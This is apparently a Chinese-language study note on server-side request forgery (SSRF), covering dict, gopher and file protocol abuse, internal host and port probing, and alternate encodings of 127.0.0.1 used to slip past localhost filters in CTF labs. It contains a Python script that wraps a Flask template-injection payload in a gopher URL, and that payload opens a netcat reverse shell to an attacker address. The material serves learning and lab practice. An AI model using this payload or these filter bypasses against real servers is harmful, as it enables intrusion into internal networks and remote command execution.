SSRF攻击
# 什么是SSRF攻击
提示
SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统
简单讲,SSRF是利用了服务器发起了请求,绕过了对ip的限制。例如,攻击者与内网存在网络隔离,无法直接访问内网服务,在对外开放的主机上存在SSRF漏洞时,可以利用这台主机作为跳板,发起对内网服务的请求,从而达到访问内网服务的目的。
# 常用协议
在SSRF攻击中,可以搭配其他协议使用,例如:
- SSRF + dict:扫描开放端口
- SSRF + gopher:向内网服务发送各种请求
- SSRF + file:读取本地文件
# file协议
读取本地文件

# dict协议
百度百科 - DICT协议 (opens new window)
DICT协议因其端口探测特性,在网络安全场景中曾被用于SSRF攻击内网服务。

利用:
1、探测内网存活主机
2、探测端口的开放情况和指纹信息
# 探测存活主机
通过连接时间判断主机是否存活,存活主机几乎会立即拒绝连接,而不存在的主机会有较长的超时等待时间。

使用burp suite的intruder模块进行测试存活主机,通过接收到的响应一列的时间判断主机是否存活

# 扫描开放端口
dict协议连接常见tcp协议端口时,会因为协议不兼容不匹配而返回错误信息,通过错误信息可以判断端口是否开放


# gopher协议(万能协议)
万能协议,可以构造各种协议请求发送给内网服务,例如http、redis、mysql、ftp等各种协议,简直就是内网穿梭的神
在一次打靶过程ssrf发起post请求打内网flask ssti的脚本
import urllib.parse
def build_gopher_post_request(host, port, path, headers, data):
"""构造Gopher协议的POST请求"""
http_request = f"POST {path} HTTP/1.1\r\n"
for key, value in headers.items():
http_request += f"{key}: {value}\r\n"
http_request += "\r\n"
http_request += data
print("=== 原始HTTP请求 ===")
print(repr(http_request))
print("=" * 50)
gopher_payload = http_request.replace("\r\n", "%0D%0A")
gopher_payload = urllib.parse.quote(gopher_payload, safe='')
gopher_url = f"gopher://{host}:{port}/_{gopher_payload}"
return gopher_url
# 修正后的请求参数
host = "127.0.0.1"
port = "2333"
path = "/render"
# 反弹shell
data = """{{url_for.__globals__.__builtins__['eval']('__import__("os").popen("busybox nc 192.168.56.100 4444 -e bash").read()')}}"""
content_length = len(data)
headers = {
"Host": "127.0.0.1",
"Content-Type": "text/plain",
"Content-Length": str(content_length)
}
print("=== 数据信息 ===")
print(f"数据内容: {data}")
print(f"数据长度: {content_length} 字符")
gopher_url = build_gopher_post_request(host, port, path, headers, data)
print("=== 生成的Gopher URL ===")
print(f"URL长度: {len(gopher_url)} 字符")
print("Gopher URL:")
print(gopher_url)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# 内网ip地址
在CTFshow靶场中,常见题目类型考察本地ip地址的利用
举例说明:

直接访问flag.php时会提示禁止本地用以外的用户访问,题目中的函数curl_exec()函数会请求目标url,此时的请求是由服务器发起的,可以利用gopher协议ssrf打内网服务

实际利用场景可以学习B站橙子科技陈腾老师使用SSRF对组件利用 (opens new window)

# 本地IP地址的各种进制
# 默认
http://127.0.0.1
# 16进制
http://0x7F000001
# 10进制
((127*256+0)*256+0)*256+1 //计算过程
http://2130706433
# 8进制
url=http://0177.0000.0000.0001/flag.php //八进制
url=http://0177.0.0.1/flag.php
# 0
url=http://127.1/flag.php
url=http://0/flag.php //0在linux系统中会解析成127.0.0.1,在windows中解析成0.0.0.0失败
2
0.0.0.0表示任何IP地址,也可以表示本地
http://0.0.0.0
http://0.0.0
http://0.0
http://0
# 域名解析
域名dns解析到127.0.0.1,例如sudo.cc